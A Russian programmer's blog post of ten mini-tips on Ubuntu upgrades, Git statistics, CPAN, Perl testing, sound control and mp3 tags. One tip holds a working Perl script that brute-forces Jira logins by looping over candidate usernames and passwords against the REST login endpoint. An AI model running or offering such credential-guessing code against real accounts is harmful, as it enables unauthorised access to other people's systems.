Мини заметки — выпуск 8 | Записки программиста

Мини заметки — выпуск 8

12 ноября 2012

В этом выпуске: обновление Ubuntu 12.04 до 12.10, исправление кодировки в mp3-тэгах, определение своей производительности с помощью Git, обновление CPAN-модулей, брутфорс Jira, и не только. Предыдущие выпуски: седьмой, шестой, пятый, четвертый.

1. Как обновить Ubuntu 12.04 до 12.10

Обновляется Ubuntu очень просто:

LANGUAGE=en sudo do-release-upgrade -d

Переменная окружения LANGUAGE нужна, чтобы избежать такой вот ошибки:

UnicodeDecodeError: 'ascii' codec can't decode byte 0xd0 in position

Подробности описаны здесь: http://www.linux.org.ru/forum/talks/8358283.

Обновление занимает довольно много времени. Убедиться, что система действительно обновилась, можно, например, так:

$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.10
DISTRIB_CODENAME=quantal
DISTRIB_DESCRIPTION="Ubuntu 12.10"

Как видите, все очень просто, танцевать с бубном почти не приходится :)

2. «Вспоминаем» пароль от Jira

Как-то мне не удавалось зайти в Jira, в результате чего появился такой скрипт:

#!/usr/bin/env perl

use strict;
use warnings;

use LWP;
use LWP::Protocol::https;
use JSON::XS;

my $ua = LWP::UserAgent->new();

for my $login (qw/user1 user2 userN/) {
for my $password (qw/password1 password2 passwordN/) {
my $res = $ua->post(
'https://jira.example.ru/rest/gadget/1.0/login', {
os_username => $login,
os_password => $password,
os_captcha => '',
});

if($res->is_success) {
my $json = decode_json($res->decoded_content);
if(defined $json->{loginSucceeded}) {
print "$login:$password:$json->{loginSucceeded}\n";
exit if $json->{loginSucceeded};
} else {
die 'loginSucceeded - undefined!';
}
} else {
die 'ERROR!';
}
}
}

Только учтите, что после какого-то количества неудачных попыток начинает показываться капча и скрипт становится бесполезным.

3. Подсчет статистики выполненных тасков в Git

Если вам вдруг стало интересно, насколько больше или меньше тасков вы делаете по сравнению со своими коллегами, воспользуйтесь следующим однострочником:

git branch -a | grep -iE 'remotes/origin/PROJECT-[0-9]+' |
perl -MDate::Parse -e 'while(<STDIN>){chomp; $t = `git log -1 $_`;
($a) = $t =~ /Author: .*?<([^>]+)>/; ($d) = $t =~ /Date:\s+(.*)/;
($m, $y) = (localtime str2time($d))[4,5]; $y+=1900; $m++;
$cnt{sprintf "%04d-%02d", $y, $m}{$a}++; }
for $d (sort keys %cnt) {
print "== $d ==\n"; print "$_ => $cnt{$d}{$_}\n"
for sort { $cnt{$d}{$b} <=> $cnt{$d}{$a} } keys %{$cnt{$d}}
}'

Само собой разумеется, все эти метрики — это так, чисто поржать или потроллить.

4. Как получить список файлов, измененных в бранче

А вот еще один однострочник:

git diff --stat \
`git merge-base iteration-2012-12-21 master` \
iteration-2012-12-21 \
| grep -v 'files changed' \
| cut -d ' ' -f 2

Как несложно заметить, он предназначен для получения списка файлов, измененных в некотором бранче. Этот список не так то-просто получить, если вы собираете в отдельном бранче итерацию.

5. Получаем полный список CPAN-модулей

Список всех модулей на CPAN можно получить так:

wget http://www.cpan.org/modules/02packages.details.txt.gz

На момент написания этих строк CPAN содержал более 125 тысяч модулей.

6. Обновление CPAN-модулей

Допустим, вам зачем-то захотелось обновить все установленные CPAN-модули. Устанавливаем утилиту cpan-outdated:

cpanm App::cpanoutdated

Смотрим список устаревших модулей:

cpan-outdated

Делаем обновление:

cpan-outdated | cpanm

Надо ли этим пользоваться — вопрос, как по мне, спорный.

7. Управление звуком из консоли в Linux и FreeBSD

В Linux можно регулировать звук из консоли командой amixer:

amixer set Master 50%

Еще можно делать так:

amixer set Master mute
amixer set Master unmute

… но проблема в том, что на момент написания этих строк unmute в Ubuntu не работал (см описание бага). Если вы случайно замьютили звук и не можете его разомьютить, вам может помочь следующий скрипт:

#!/usr/bin/env perl

use strict;
use warnings;

for (qw/Master Headphone PCM Front Surround Center LFE Side/) {
system("amixer -c 0 set $_ playback unmute");
}

А во FreeBSD есть команда mixer:

mixer 50

Все подробности, как обычно, в манах.

8. Форматирование результатов тестирования в Perl

Если у вас есть код на Perl, покрытый модульными тестами, вы можете генерировать отчеты о прогоне тестов в формате HTML с помощью TAP::Formatter::HTML:

prove --formatter=TAP::Formatter::HTML -lr ./t > output.html

… или в формате xUnit с помощью модуля TAP::Formatter::JUnit:

prove --formatter=TAP::Formatter::JUnit -lr ./t > output.xml

Последний прием может пригодится, если вы используете Jenkins.

9. Как исправить кодировку в mp3-тэгах

Самый простой способ, на мой взгляд, следующий:

sudo apt-get install python-mutagen
mid3iconv -e cp1251 ~/mp3/*

Некоторые другие варианты описаны здесь.

10. Использование perlbrew

Иногда для тех или иных целей требуется конкретная версия Perl, которая, как на зло, не совпадает с версией, установленной в системе. В таких случаях на помощь приходит утилита perlbrew.

Установка:

sudo cpanm App::perlbrew
perlbrew init

Ставим нужную версию Perl (компиляция из исходников займет какое-то время):

perlbrew install 5.12.4

Список доступных версий Perl:

perlbrew list

Создаем новый набор библиотек (например, под определенный проект):

perlbrew lib create 5.12.4@mongodb_shortener

Меняем текущее окружение:

perlbrew use 5.12.4@mongodb_shortener

… и запускаем в нем что-нибудь:

perlbrew exec perl -v

Perlbrew может пригодится, если вам нужна более свежая версия Perl, а обновить его не получается (говорят, это не так-то просто сделать в CentOS). Или если вы хотите протестировать свой код на совместимость с различными версиями Perl и CPAN-модулей. Или, например, если по каким-то причинам вы хотите организовать «песочницы» для CPAN-модулей под каждый из проектов, работающих на вашей машине.

Дополнение: Мини заметки — выпуск 9

Метки: Всячина.

Вы можете прислать свой комментарий мне на почту, или воспользоваться комментариями в Telegram-группе.

Записки программиста